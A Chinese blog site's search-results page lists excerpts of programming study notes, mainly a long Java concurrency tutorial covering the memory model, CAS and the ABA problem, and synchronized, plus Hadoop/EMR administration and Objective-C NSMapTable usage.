搜索[学习笔记]结果-低调大师优秀个人博客

精选列表

搜索[学习笔记]，共10005篇文章

CentOS6,CentOS7官方镜像安装Oracle11G

oracle.install.db.config.starterdb.memoryOption=true # 最小256M oracle.install.db.config.starterdb.memoryLimit=1024 # 是否安装学习的

2025-09-05

三万字，Spark学习笔记

Spark遵循“一个软件栈满足不同应用场景”的设计理念，逐渐形成了一套完整的生态系统（包括 Spark提供内存计算框架、SQL即席查询（Spark SQL）、流式计算（Spark Streaming）、机器学习

2021-01-11

JavaScript设计模式学习笔记

《JavaScript设计模式与开发实践》14种设计模式学习笔记。

2020-05-26

EMR HDFS Architecture 本文以非HA集群，2个worker的集群为例。非HA集群，仅有一个Namenode实例，部署在Master节点。Namenode主要职责：-管理文件系统namespace，包括但不仅限于：开、关文件，文件改名，目录操作等。-管控客户端对文件的访问 EMR hadoop集群，每个Worker节点仅部署一个Datanode实例。Datanode主要职责：-管理所在节点挂载的存储-提供给客户端读写服务-block创建、删除以及replication 登录EMR集群实现基本运维在较新的集群版本中（3.2 以上版本），所有的服务操作都可以通过集群的配置管理功能来完成。推荐优先使用 Web 页面的管理方式。若您觉得在网页上的作业和执行计划无法满足您更加复杂的应用需求，您可以登录到 E-MapReduce 集群的主机上。找到集群的详情页，其中就有集群 master 机器的公网 IP 地址，您可以直接 SSH 登录到这台机器上，查看各种设置与状态。登录 Master 主机步骤使用如下命令 SSH 登录到 master 主机。请在集群详情页的主机信息栏中获取集群 master 机器的公网 IP。ssh root@ip.of.master 输入创建集群时设定的密码。如何登录 Core 节点A：按照如下步骤：首先在 Master 节点上切换到 Hadoop 账号：su hadoop 然后即可免密码 SSH 登录到对应的 Core 节点：ssh emr-worker-1 通过 sudo 可以获得 root 权限：sudo vi /etc/hosts 通过命令行方式启停服务进程操作用账号：hdfs NameNode （Master 节点） // 启动 /usr/lib/hadoop-current/sbin/hadoop-daemon.sh start namenode // 停止 /usr/lib/hadoop-current/sbin/hadoop-daemon.sh stop namenode DataNode （Core 节点） // 启动 /usr/lib/hadoop-current/sbin/hadoop-daemon.sh start datanode // 停止 /usr/lib/hadoop-current/sbin/hadoop-daemon.sh stop datanode 示例：登录实际emr集群演示停止datanode进程操作

2019-06-07

Java中ArrayList学习笔记

Java中ArrayList学习笔记先看两段代码这段代码在执行的时候会报但是这样写就好着呢：总结，研究报错的代码，在for循环的时候调用next()方法，next方法中调用了checkForComodification

2019-04-27

RabbitMQ消息队列学习笔记

概述初次使用AMQP的过程中，总是容易被AMQP支持的消息模型绕晕，这里结合官方的教程，对AMQP的消息模型做一个简要总结，供参考。目前官方给出了六种消息发送/接收模型，这里主要介绍前五种消息模型。消息模型 1、Hello World 简单模式就是生产者将消息发送到队列、消费者从队列中获取消息。一条消息对应一个消费者。示例代码说明：测试使用的是阿里云的AMQP消息队列服务，具体的代码配置过程可以参考阿里云官方链接。工具类 import AMQP.AliyunCredentialsProvider; import com.rabbitmq.client.Connection; import com.rabbitmq.client.ConnectionFactory; public class ConnectionUtil { pu

2019-04-19

MyBatis学习笔记(一）入门

（我主要学习java，就讲java的使用） 2）它提供的持久层框架包括SQL Maps和Data Access Objects（DAO）。 3）mybatis与hibernate的对比？

2018-08-29

（一）Java并发学习笔记

一、课程导学二、基本概念并发：同时拥有两个或者多个线程，如果程序在单核处理器上运行，多个线程将交替地换入或者换出内存，这些线程是同时“存在”的，每个线程都处于执行过程中的某个状态，高速切换感觉同时执行。如果运行多核处理器上，此时，程序中的每个线程将分配到一个处理器核上，因此可以真正的同时运行。高并发：高并发（High Cuncurrency）是互联网分布式系统架构设计中必须考虑的因素之一，它通常是指，通过设计保证系统能够同时并发处理很多请求。其实当我们讨论并发时主要关注的是以下几点：多线程操作相同的资源保证线程安全合理分配和使用资源而在讨论高并发是关注的是以下几点：服务器能同时处理很多个请求提高程序性能比如在12306抢票，淘宝双11等都需要考虑高并发三、并发编程基础在单核时代处理器做出的乱序优化不会导致执行结果远离预期目标，但在多核环境下却并非如此。在多核时代，由多核cpu同时执行指令，同时还引入的l1、l2等缓存机制，每个核都有自己的缓存，就导致了逻辑顺序上后写入的数据未必真的最后写入。如果我们不做任何防护措施，就会出现处理器得出的结果和我们逻辑得出的结果大不相同。比如：我们在一个cpu核心上执行写入操作，并在最后写入一个标记来表示该操作已经写入好了。然后从另外一个核上通过判断这个标记来确定所需要的数据是否已经就绪，这种做法就存在一定风险：标记位先被写入但数据操作并未完成。导致另外一个核使用了错误数据。四、Java内存模型（Java Memory Model，JMM）内存模型可以理解为在特定的操作协议下，对特定的内存或者高速缓存进行读写访问的过程抽象，不同架构下的物理机拥有不一样的内存模型，Java虚拟机也有自己的内存模型，即Java内存模型（Java Memory Model, JMM）。在C/C++语言中直接使用物理硬件和操作系统内存模型，导致不同平台下并发访问出错。而JMM的出现，能够屏蔽掉各种硬件和操作系统的内存访问差异，实现平台一致性，是的Java程序能够“一次编写，到处运行”。堆内存（Heap）: 存放实例域, 静态域, 数组元素. 在线程间共享. 栈内存（Stack）: 存放局部变量, 方法定义参数和异常处理器参数. 线程A和线程B要进行通信，必须先将数据刷新到主内存，线程B再从主内存读取线程A更新过的变量。模拟场景：比如多个线程同时修改一个变量：线程A 先从主内存中获取共享变量（a=2），然后在自己本地内存中计算（a+2），然后写入到主内存。但此时B也从主内存获取（a=2），在本地内存改变（a+2）.写入到主内存。在计算过程中两个线程间的数据是不可见的，此时就会出现结果不正确情况。 Java内存模型-同步操作与规则由上面的交互关系可知，关于主内存与工作内存之间的具体交互协议，即一个变量如何从主内存拷贝到工作内存、如何从工作内存同步到主内存之间的实现细节，Java内存模型定义了以下八种操作来完成： lock（锁定）：作用于主内存的变量，把一个变量标识为一条线程独占状态。 unlock（解锁）：作用于主内存变量，把一个处于锁定状态的变量释放出来，释放后的变量才可以被其他线程锁定。 read（读取）：作用于主内存变量，把一个变量值从主内存传输到线程的工作内存中，以便随后的load动作使用 load（载入）：作用于工作内存的变量，它把read操作从主内存中得到的变量值放入工作内存的变量副本中。 use（使用）：作用于工作内存的变量，把工作内存中的一个变量值传递给执行引擎，每当虚拟机遇到一个需要使用变量的值的字节码指令时将会执行这个操作。 assign（赋值）：作用于工作内存的变量，它把一个从执行引擎接收到的值赋值给工作内存的变量，每当虚拟机遇到一个给变量赋值的字节码指令时执行这个操作。 store（存储）：作用于工作内存的变量，把工作内存中的一个变量的值传送到主内存中，以便随后的write的操作。 write（写入）：作用于主内存的变量，它把store操作从工作内存中一个变量的值传送到主内存的变量中。 Java内存模型还规定了在执行上述八种基本操作时，必须满足如下规则：不允许read和load、store和write操作之一单独出现不允许一个线程丢弃它的最近assign的操作，即变量在工作内存中改变了之后必须同步到主内存中。不允许一个线程无原因地（没有发生过任何assign操作）把数据从工作内存同步回主内存中。一个新的变量只能在主内存中诞生，不允许在工作内存中直接使用一个未被初始化（load或assign）的变量。即就是对一个变量实施use和store操作之前，必须先执行过了assign和load操作。一个变量在同一时刻只允许一条线程对其进行lock操作，lock和unlock必须成对出现如果对一个变量执行lock操作，将会清空工作内存中此变量的值，在执行引擎使用这个变量前需要重新执行load或assign操作初始化变量的值如果一个变量事先没有被lock操作锁定，则不允许对它执行unlock操作；也不允许去unlock一个被其他线程锁定的变量。对一个变量执行unlock操作之前，必须先把此变量同步到主内存中（执行store和write操作）。这8种内存访问操作很繁琐，后文会使用一个等效判断原则，即先行发生（happens-before）原则来确定一个内存访问在并发环境下是否安全。五、并发的优势和风险六、线程安全性线程安全性主要体现在三个方面： 1. 原子性：原子是世界上的最小单位，具有不可分割性。比如 a=0；（a非long和double类型）这个操作是不可分割的，那么我们说这个操作时原子操作。再比如：a++；这个操作实际是a = a + 1；是可分割的，所以他不是一个原子操作。非原子操作都会存在线程安全问题，需要我们使用同步技术（sychronized）来让它变成一个原子操作。一个操作是原子操作，那么我们称它具有原子性。java的concurrent包下提供了一些原子类，我们可以通过阅读API来了解这些原子类的用法。比如：AtomicInteger、AtomicLong、AtomicReference等。 Atomicxxx底层工作原理：借助于Unsafe.compareAndSwapInt: CAS实现，每次执行计算之前都会拿当前工作内存中的值和主内存的值比较，如果不相同就会从新从主内存中获取最新值赋值给当前对象，直到相同执行对应操作。 sun.misc.Unsafe源码： public final int getAndAddInt(Object var1, long var2, int var4) { int var5; do { var5 = this.getIntVolatile(var1, var2); } while(!this.compareAndSwapInt(var1, var2, var5, var5 + var4)); return var5; } AtomicLong和AtomicAddr AtomicLong的原理是依靠底层的cas来保障原子性的更新数据，在要添加或者减少的时候，会使用死循环不断地cas到特定的值，从而达到更新数据的目的。在竞争不激烈时修改成功的概率很高，否则修改失败的概率就很高，在大量修改失败的情况下，这些原子操作就会进行大量的失败重尝试，性能就会受到影响。总结: LongAdder在AtomicLong的基础上将单点的更新压力分散到各个节点，在低并发的时候通过对base的直接更新可以很好的保障和AtomicLong的性能基本保持一致，而在高并发的时候通过分散提高了性能。缺点是LongAdder在统计的时候如果有并发更新，可能导致统计的数据有误差。实际使用中在处理高并发计数时，推荐使用LongAddr，但如果遇到类似于序列号生成这种需要全局唯一的数据情况就需要使用AtomicLong. AtomicReference AtomicReference和AtomicInteger非常类似，不同之处就在于AtomicInteger是对整数的封装，而AtomicReference则对应普通的对象引用。也就是它可以保证你在修改对象引用时的线程安全性。在介绍AtomicReference的同时，我希望同时提出一个有关原子操作的逻辑上的不足。之前我们说过，线程判断被修改对象是否可以正确写入的条件是对象的当前值和期望是否一致。这个逻辑从一般意义上来说是正确的。但有可能出现一个小小的例外，就是当你获得对象当前数据后，在准备修改为新值前，对象的值被其他线程连续修改了2次，而经过这2次修改后，对象的值又恢复为旧值。这样，当前线程就无法正确判断这个对象究竟是否被修改过。如图4.2所示，显示了这种情况。(ABA问题) 图4.2 对象值被反复修改回原数据一般来说，发生这种情况的概率很小。而且即使发生了，可能也不是什么大问题。比如，我们只是简单得要做一个数值加法，即使在我取得期望值后，这个数字被不断的修改，只要它最终改回了我的期望值，我的加法计算就不会出错。也就是说，当你修改的对象没有过程的状态信息，所有的信息都只保存于对象的数值本身。但是，在现实中，还可能存在另外一种场景。就是我们是否能修改对象的值，不仅取决于当前值，还和对象的过程变化有关，这时，AtomicReference就无能为力了。打一个比方，如果有一家蛋糕店，为了挽留客户，绝对为贵宾卡里余额小于20元的客户一次性赠送20元，刺激消费者充值和消费。但条件是，每一位客户只能被赠送一次。现在，我们就来模拟这个场景，为了演示AtomicReference，我在这里使用AtomicReference实现这个功能。首先，我们模拟用户账户余额。 static AtomicReference<Integer> money=newAtomicReference<Integer>(); // 设置账户初始值小于20，显然这是一个需要被充值的账户 money.set(19); 接着，我们需要若干个后台线程，它们不断扫描数据，并为满足条件的客户充值。 01 //模拟多个线程同时更新后台数据库，为用户充值 02 for(int i = 0 ; i < 3 ; i++) { 03 new Thread(){ 04 publicvoid run() { 05 while(true){ 06 while(true){ 07 Integer m=money.get(); 08 if(m<20){ 09 if(money.compareAndSet(m, m+20)){ 10 System.out.println("余额小于20元，充值成功，余额:"+money.get()+"元"); 11 break; 12 } 13 }else{ 14 //System.out.println("余额大于20元，无需充值"); 15 break ; 16 } 17 } 18 } 19 } 20 }.start(); 21 } 上述代码第8行，判断用户余额并给予赠予金额。如果已经被其他用户处理，那么当前线程就会失败。因此，可以确保用户只会被充值一次。此时，如果很不幸的，用户正好正在进行消费，就在赠予金额到账的同时，他进行了一次消费，使得总金额又小于20元，并且正好累计消费了20元。使得消费、赠予后的金额等于消费前、赠予前的金额。这时，后台的赠予进程就会误以为这个账户还没有赠予，所以，存在被多次赠予的可能。下面，模拟了这个消费线程： 01 //用户消费线程，模拟消费行为 02 new Thread() { 03 public voidrun() { 04 for(inti=0;i<100;i++){ 05 while(true){ 06 Integer m=money.get(); 07 if(m>10){ 08 System.out.println("大于10元"); 09 if(money.compareAndSet(m, m-10)){ 10 System.out.println("成功消费10元，余额:"+money.get()); 11 break; 12 } 13 }else{ 14 System.out.println("没有足够的金额"); 15 break; 16 } 17 } 18 try{Thread.sleep(100);} catch (InterruptedException e) {} 19 } 20 } 21 }.start(); 上述代码中，消费者只要贵宾卡里的钱大于10元，就会立即进行一次10元的消费。执行上述程序，得到的输出如下：余额小于20元，充值成功，余额:39元大于10元成功消费10元，余额:29 大于10元成功消费10元，余额:19 余额小于20元，充值成功，余额:39元大于10元成功消费10元，余额:29 大于10元成功消费10元，余额:39 余额小于20元，充值成功，余额:39元从这一段输出中，可以看到，这个账户被先后反复多次充值。其原因正是因为账户余额被反复修改，修改后的值等于原有的数值。使得CAS操作无法正确判断当前数据状态。虽然说这种情况出现的概率不大，但是依然是有可能的出现的。因此，当业务上确实可能出现这种情况时，我们也必须多加防范。体贴的JDK也已经为我们考虑到了这种情况，使用AtomicStampedReference就可以很好的解决这个（ABA）问题。 ABA问题：简单讲就是多线程环境，2次读写中一个线程修改A->B，然后又B->A，另一个线程看到的值未改变，又继续修改成自己的期望值。当然我们如果不关心过程，只关心结果，那么这个就是无所谓的ABA问题。为了解决ABA问题，伟大的java为我们提供了AtomicMarkableReference和AtomicStampedReference类，为我们解决了问题 AtomicStampedReference是利用版本戳的形式记录了每次改变以后的版本号，这样的话就不会存在ABA问题了，在这里我借鉴一下别人举得例子举个通俗点的例子，你倒了一杯水放桌子上，干了点别的事，然后同事把你水喝了又给你重新倒了一杯水，你回来看水还在，拿起来就喝，如果你不管水中间被人喝过，只关心水还在，这就是ABA问题。如果你是一个讲卫生讲文明的小伙子，不但关心水在不在，还要在你离开的时候水被人动过没有，因为你是程序员，所以就想起了放了张纸在旁边，写上初始值0，别人喝水前麻烦先做个累加才能喝水。这就是AtomicStampedReference的解决方案。 Synchronized关键字在Java中，synchronized关键字是用来控制线程同步的，就是在多线程的环境下，控制synchronized代码段不被多个线程同时执行。 1. 修饰方法 Synchronized修饰一个方法很简单，就是在方法的前面加synchronized，synchronized修饰方法和修饰一个代码块类似，只是作用范围不一样，修饰代码块是大括号括起来的范围，而修饰方法范围是整个函数。 public synchronized void method() { // todo } 写法一修饰的是一个方法，锁定了整个方法时的内容。 synchronized关键字不能继承。虽然可以使用synchronized来定义方法，但synchronized并不属于方法定义的一部分，因此，synchronized关键字不能被继承。如果在父类中的某个方法使用了synchronized关键字，而在子类中覆盖了这个方法，在子类中的这个方法默认情况下并不是同步的，而必须显式地在子类的这个方法中加上synchronized关键字才可以。当然，还可以在子类方法中调用父类中相应的方法，这样虽然子类中的方法不是同步的，但子类调用了父类的同步方法，因此，子类的方法也就相当于同步了。这两种方式的例子代码如下：在子类方法中加上synchronized关键字 class Parent { public synchronized void method() { } } class Child extends Parent { public synchronized void method() { } } 在子类方法中调用父类的同步方法 class Parent { public synchronized void method() { } } class Child extends Parent { public void method() { super.method(); } } 在定义接口方法时不能使用synchronized关键字。构造方法不能使用synchronized关键字，但可以使用synchronized代码块来进行同步。 2. 修饰代码块 1）一个线程访问一个对象中的synchronized(this)同步代码块时，其他试图访问该对象的线程将被阻塞注意下面两个程序的区别 class SyncThread implements Runnable { private static int count; public SyncThread() { count = 0; } public void run() { synchronized(this) { for (int i = 0; i < 5; i++) { try { System.out.println(Thread.currentThread().getName() + ":" + (count++)); Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } } } public int getCount() { return count; } } public class Demo00 { public static void main(String args[]){ //test01 // SyncThread s1 = new SyncThread(); // SyncThread s2 = new SyncThread(); // Thread t1 = new Thread(s1); // Thread t2 = new Thread(s2); //test02 SyncThread s = new SyncThread(); Thread t1 = new Thread(s); Thread t2 = new Thread(s); t1.start(); t2.start(); } } test01的运行结果 test02的运行结果当两个并发线程(thread1和thread2)访问同一个对象(syncThread)中的synchronized代码块时，在同一时刻只能有一个线程得到执行，另一个线程受阻塞，必须等待当前线程执行完这个代码块以后才能执行该代码块。Thread1和thread2是互斥的，因为在执行synchronized代码块时会锁定当前的对象，只有执行完该代码块才能释放该对象锁，下一个线程才能执行并锁定该对象为什么上面的例子中thread1和thread2同时在执行。这是因为synchronized只锁定对象，每个对象只有一个锁（lock）与之相关联。 2）当一个线程访问对象的一个synchronized(this)同步代码块时，另一个线程仍然可以访问该对象中的非synchronized(this)同步代码块。例： class Counter implements Runnable{ private int count; public Counter() { count = 0; } public void countAdd() { synchronized(this) { for (int i = 0; i < 5; i ++) { try { System.out.println(Thread.currentThread().getName() + ":" + (count++)); Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } } } //非synchronized代码块，未对count进行读写操作，所以可以不用synchronized public void printCount() { for (int i = 0; i < 5; i ++) { try { System.out.println(Thread.currentThread().getName() + " count:" + count); Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } } public void run() { String threadName = Thread.currentThread().getName(); if (threadName.equals("A")) { countAdd(); } else if (threadName.equals("B")) { printCount(); } } } public class Demo00{ public static void main(String args[]){ Counter counter = new Counter(); Thread thread1 = new Thread(counter, "A"); Thread thread2 = new Thread(counter, "B"); thread1.start(); thread2.start(); } } 运行结果可以看见B线程的调用是非synchronized,并不影响A线程对synchronized部分的调用。从上面的结果中可以看出一个线程访问一个对象的synchronized代码块时，别的线程可以访问该对象的非synchronized代码块而不受阻塞。 3）指定要给某个对象加锁 /** * 银行账户类 */ class Account { String name; float amount; public Account(String name, float amount) { this.name = name; this.amount = amount; } //存钱 public void deposit(float amt) { amount += amt; try { Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } //取钱 public void withdraw(float amt) { amount -= amt; try { Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } public float getBalance() { return amount; } } /** * 账户操作类 */ class AccountOperator implements Runnable{ private Account account; public AccountOperator(Account account) { this.account = account; } public void run() { synchronized (account) { account.deposit(500); account.withdraw(500); System.out.println(Thread.currentThread().getName() + ":" + account.getBalance()); } } } public class Demo00{ //public static final Object signal = new Object(); // 线程间通信变量 //将account改为Demo00.signal也能实现线程同步 public static void main(String args[]){ Account account = new Account("zhang san", 10000.0f); AccountOperator accountOperator = new AccountOperator(account); final int THREAD_NUM = 5; Thread threads[] = new Thread[THREAD_NUM]; for (int i = 0; i < THREAD_NUM; i ++) { threads[i] = new Thread(accountOperator, "Thread" + i); threads[i].start(); } } } 运行结果在AccountOperator 类中的run方法里，我们用synchronized 给account对象加了锁。这时，当一个线程访问account对象时，其他试图访问account对象的线程将会阻塞，直到该线程访问account对象结束。也就是说谁拿到那个锁谁就可以运行它所控制的那段代码。当有一个明确的对象作为锁时，就可以用类似下面这样的方式写程序。 public void method3(SomeObject obj) { //obj 锁定的对象 synchronized(obj) { // todo } } 当没有明确的对象作为锁，只是想让一段代码同步时，可以创建一个特殊的对象来充当锁： class Test implements Runnable { private byte[] lock = new byte[0]; // 特殊的instance变量 public void method() { synchronized(lock) { // todo 同步代码块 } } public void run() { } } 3. 修饰一个静态的方法 Synchronized也可修饰一个静态方法，用法如下： public synchronized static void method() { // todo } 静态方法是属于类的而不属于对象的。同样的，synchronized修饰的静态方法锁定的是这个类的所有对象。 /** * 同步线程 */ class SyncThread implements Runnable { private static int count; public SyncThread() { count = 0; } public synchronized static void method() { for (int i = 0; i < 5; i ++) { try { System.out.println(Thread.currentThread().getName() + ":" + (count++)); Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } } public synchronized void run() { method(); } } public class Demo00{ public static void main(String args[]){ SyncThread syncThread1 = new SyncThread(); SyncThread syncThread2 = new SyncThread(); Thread thread1 = new Thread(syncThread1, "SyncThread1"); Thread thread2 = new Thread(syncThread2, "SyncThread2"); thread1.start(); thread2.start(); } } syncThread1和syncThread2是SyncThread的两个对象，但在thread1和thread2并发执行时却保持了线程同步。这是因为run中调用了静态方法method，而静态方法是属于类的，所以syncThread1和syncThread2相当于用了同一把锁。 4. 修饰一个类 Synchronized还可作用于一个类，用法如下： class ClassName { public void method() { synchronized(ClassName.class) { // todo } } } /** * 同步线程 */ class SyncThread implements Runnable { private static int count; public SyncThread() { count = 0; } public static void method() { synchronized(SyncThread.class) { for (int i = 0; i < 5; i ++) { try { System.out.println(Thread.currentThread().getName() + ":" + (count++)); Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } } } public synchronized void run() { method(); } } 本例的的给class加锁和上例的给静态方法加锁是一样的，所有对象公用一把锁总结 A. 无论synchronized关键字加在方法上还是对象上，如果它作用的对象是非静态的，则它取得的锁是对象；如果synchronized作用的对象是一个静态方法或一个类，则它取得的锁是对类，该类所有的对象同一把锁。 B. 每个对象只有一个锁（lock）与之相关联，谁拿到这个锁谁就可以运行它所控制的那段代码。 C. 实现同步是要很大的系统开销作为代价的，甚至可能造成死锁，所以尽量避免无谓的同步控制。 2. 线程可见性可见性-synchronized 可见性-volatile 内存屏障（memory barrier）是一个CPU指令。基本上，它是这样一条指令： a) 确保一些特定操作执行的顺序； b) 影响一些数据的可见性(可能是某些指令执行后的结果)。编译器和CPU可以在保证输出结果一样的情况下对指令重排序，使性能得到优化。插入一个内存屏障，相当于告诉CPU和编译器先于这个命令的必须先执行，后于这个命令的必须后执行。内存屏障另一个作用是强制更新一次不同CPU的缓存。例如，一个写屏障会把这个屏障前写入的数据刷新到缓存，这样任何试图读取该数据的线程将得到最新值，而不用考虑到底是被哪个cpu核心或者哪颗CPU执行的。 volatile使用场景： volatile很适合用作状态标示量：有序性 happend-before原则 1.程序次序规则：一个线程内，按照代码顺序，书写在前面的操作先行发生于书写在后面的操作；2.锁定规则：一个unLock操作先行发生于后面对同一个锁额lock操作；3.volatile变量规则：对一个变量的写操作先行发生于后面对这个变量的读操作；4.传递规则：如果操作A先行发生于操作B，而操作B又先行发生于操作C，则可以得出操作A先行发生于操作C；5.线程启动规则：Thread对象的start()方法先行发生于此线程的每个一个动作；6.线程中断规则：对线程interrupt()方法的调用先行发生于被中断线程的代码检测到中断事件的发生；7.线程终结规则：线程中所有的操作都先行发生于线程的终止检测，我们可以通过Thread.join()方法结束、Thread.isAlive()的返回值手段检测到线程已经终止执行；8.对象终结规则：一个对象的初始化完成先行发生于他的finalize()方法的开始；

2018-08-01

SDWebImage学习笔记之NSMapTable

NSDictionary/NSMutableArray浅析我们在使用NSDictionary/NSMutableArray时，通常会使用NSString对象作为key，因为key必须遵循NSCopying协议，见NSMutableArray中的方法： - (void)setObject:(ObjectType)anObject forKey:(KeyType <NSCopying>)aKey; 在NSDictionary/NSMutableArray对象中，aKey对象被copy一份后存入，anObject对象则被强引用。来看一段代码： NSMutableDictionary *aDictionary = [[NSMutableDictionary alloc] initWithCapacity:0]; { NSString *aKey = @"akey"; NSObject *aObject = [[NSObject alloc] init]; [aDictionary setObject:aObject forKey:aKey]; } NSLog(@"dictionary: %@", aDictionary); 打印日志： dictionary: { akey = "<NSObject: 0x60400001d3b0>"; } 本来作用于结束后，aKey变量指向的NSString对象（简称aKey对象）和aObject变量指向的NSObject对象（简称aObject对象）应该被自动释放，但是aDictionary变量指向的NSMutableDictionary对象（简称aDictionary对象）持有一份aObject对象的强引用，所以打印日志时，aDictionary对象不为空。现在有一个Teacher类表示班主任信息，包含姓名name属性和年龄age属性，另有一个Student类表示学生信息，也包含姓名name属性和年龄age属性。那么一个班包含一个班主任（Teacher对象）和n个学生（Student数组），为了统计一个班的信息，需要把班主任和学生的信息及对应关系保存下来。 // Teacher.h @interface Teacher : NSObject @property (nonatomic, copy) NSString *name; @property (nonatomic, assign) NSInteger age; @end // Teacher.m @implementation Teacher @end // Student.h @interface Student : NSObject @property (nonatomic, copy) NSString *name; @property (nonatomic, assign) NSInteger age; @end // Student.m @implementation Student @end // ViewController.m { NSMutableDictionary *aDictionary = [[NSMutableDictionary alloc] initWithCapacity:0]; Teacher *teacher = [[Teacher alloc] init]; teacher.name = @"teacher"; teacher.age = 30; NSMutableArray *aArray = [[NSMutableArray alloc] initWithCapacity:0]; for (int i = 0; i < 3; i++) { Student *student = [[Student alloc] init]; student.name = [NSString stringWithFormat:@"student%d", i]; student.age = i; [aArray addObject:student]; } [aDictionary setObject:aArray forKey:teacher.name]; NSLog(@"%@", aDictionary); } 打印日志： dictionary:{ teacher = ( "<Student: 0x60000003aa00>", "<Student: 0x60000003a9c0>", "<Student: 0x60000003aa80>" ); } 这里将班主任的姓名作为key，这样会损失其他信息。如果想要将teacher对象作为key，则需要让Teacher类遵循NSCopying协议，而且NSDictionary/NSMutable使用hash表来实现key和value之间的映射和存储，所以作为key值的类型必须重写++- (NSUInteger)hash++和++- (BOOL)isEqual:(id)object++两个方法，其中hash方法计算该对象的hash值，hash值决定该对象在hash表中存储的位置，isEqual方法通过hash值来定位对象在hash表中的位置。具体代码如下: // Teacher.h @interface Teacher : NSObject<NSCopying> @property (nonatomic, copy) NSString *name; @property (nonatomic, assign) NSInteger age; @end // Teacher.m @implementation Teacher - (id)copyWithZone:(NSZone *)zone { Teacher *teacher = [[Teacher allocWithZone:zone] init]; teacher.name = self.name; teacher.age = self.age; return teacher; } - (BOOL)isEqual:(id)object { // 比较hash值是否相等 return [self hash] == [object hash]; } - (NSUInteger)hash { // 调用父类的hash方法，也可以自定义 return [super hash]; } 打印日志： dictionary:{ "<Teacher: 0x600000027940>" = ( "<Student: 0x60c00022fa20>", "<Student: 0x60c00022fa00>", "<Student: 0x60c00022f960>" ); } NSMapTable浅析 NSMapTable继承自NSObject，自iOS6.0开始使用，NSMapTable是可变的。 NS_CLASS_AVAILABLE(10_5, 6_0) @interface NSMapTable<KeyType, ObjectType> : NSObject <NSCopying, NSCoding, NSFastEnumeration> NSMapTable有两个指定初始化方法和一个便捷初始化方法： // 指定初始化方法 - (instancetype)initWithKeyOptions:(NSPointerFunctionsOptions)keyOptions valueOptions:(NSPointerFunctionsOptions)valueOptions capacity:(NSUInteger)initialCapacity NS_DESIGNATED_INITIALIZER; - (instancetype)initWithKeyPointerFunctions:(NSPointerFunctions *)keyFunctions valuePointerFunctions:(NSPointerFunctions *)valueFunctions capacity:(NSUInteger)initialCapacity NS_DESIGNATED_INITIALIZER; // 便捷初始化方法 + (NSMapTable<KeyType, ObjectType> *)mapTableWithKeyOptions:(NSPointerFunctionsOptions)keyOptions valueOptions:(NSPointerFunctionsOptions)valueOptions; 初始化方法方法中有两个参数keyOptions和valueOptions，都是NSPointerFunctionsOptions类型，NSPointerFunctionsOptions是一个枚举类型， typedef NS_OPTIONS(NSUInteger, NSPointerFunctionsOptions) { // Memory options are mutually exclusive // default is strong NSPointerFunctionsStrongMemory API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (0UL << 0), // use strong write-barrier to backing store; use GC memory on copyIn #if (TARGET_OS_MAC && !(TARGET_OS_EMBEDDED || TARGET_OS_IPHONE)) || TARGET_OS_WIN32 NSPointerFunctionsZeroingWeakMemory NS_ENUM_DEPRECATED_MAC(10_5, 10_8) = (1UL << 0), // deprecated; uses GC weak read and write barriers, and dangling pointer behavior otherwise #endif NSPointerFunctionsOpaqueMemory API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (2UL << 0), NSPointerFunctionsMallocMemory API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (3UL << 0), // free() will be called on removal, calloc on copyIn NSPointerFunctionsMachVirtualMemory API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (4UL << 0), NSPointerFunctionsWeakMemory API_AVAILABLE(macos(10.8), ios(6.0), watchos(2.0), tvos(9.0)) = (5UL << 0), // uses weak read and write barriers appropriate for ARC // Personalities are mutually exclusive // default is object. As a special case, 'strong' memory used for Objects will do retain/release under non-GC NSPointerFunctionsObjectPersonality API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (0UL << 8), // use -hash and -isEqual, object description NSPointerFunctionsOpaquePersonality API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (1UL << 8), // use shifted pointer hash and direct equality NSPointerFunctionsObjectPointerPersonality API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (2UL << 8), // use shifted pointer hash and direct equality, object description NSPointerFunctionsCStringPersonality API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (3UL << 8), // use a string hash and strcmp, description assumes UTF-8 contents; recommended for UTF-8 (or ASCII, which is a subset) only cstrings NSPointerFunctionsStructPersonality API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (4UL << 8), // use a memory hash and memcmp (using size function you must set) NSPointerFunctionsIntegerPersonality API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (5UL << 8), // use unshifted value as hash & equality NSPointerFunctionsCopyIn API_AVAILABLE(macos(10.5), ios(6.0), watchos(2.0), tvos(9.0)) = (1UL << 16), // the memory acquire function will be asked to allocate and copy items on input }; 常用的枚举值及对应的含义如下： NSPointerFunctionsStrongMemory: 强引用存储对象 NSPointerFunctionsWeakMemory：弱引用存储对象 NSPointerFunctionsCopyIn：copy存储对象就是说，如果NSMapTable的初始化方法为： NSMapTable *aMapTable = [[NSMapTable alloc] initWithKeyOptions:NSPointerFunctionsCopyIn valueOptions:NSPointerFunctionsStrongMemory capacity:0]; 或 NSMapTable *aMapTable = [NSMapTable mapTableWithKeyOptions:NSPointerFunctionsCopyIn valueOptions:NSPointerFunctionsStrongMemory]; 那么就等同于NSMutableDictionay的初始化方法： NSMutableDictionary *aDictionary = [[NSMutableDictionary alloc] initWithCapacity:0]; 或 NSMutableDictionary *aDictionary = [NSMutableDictionary dictionary]; 若初始方法修改为 NSMapTable *aMapTable = [NSMapTable mapTableWithKeyOptions:NSPointerFunctionsWeakMemory valueOptions:NSPointerFunctionsStrongMemory]; 即对key值进行弱引用，就可以不用让Teacher类遵循NSCopying协议和重新跟hash有关的两个方法，代码如下： // 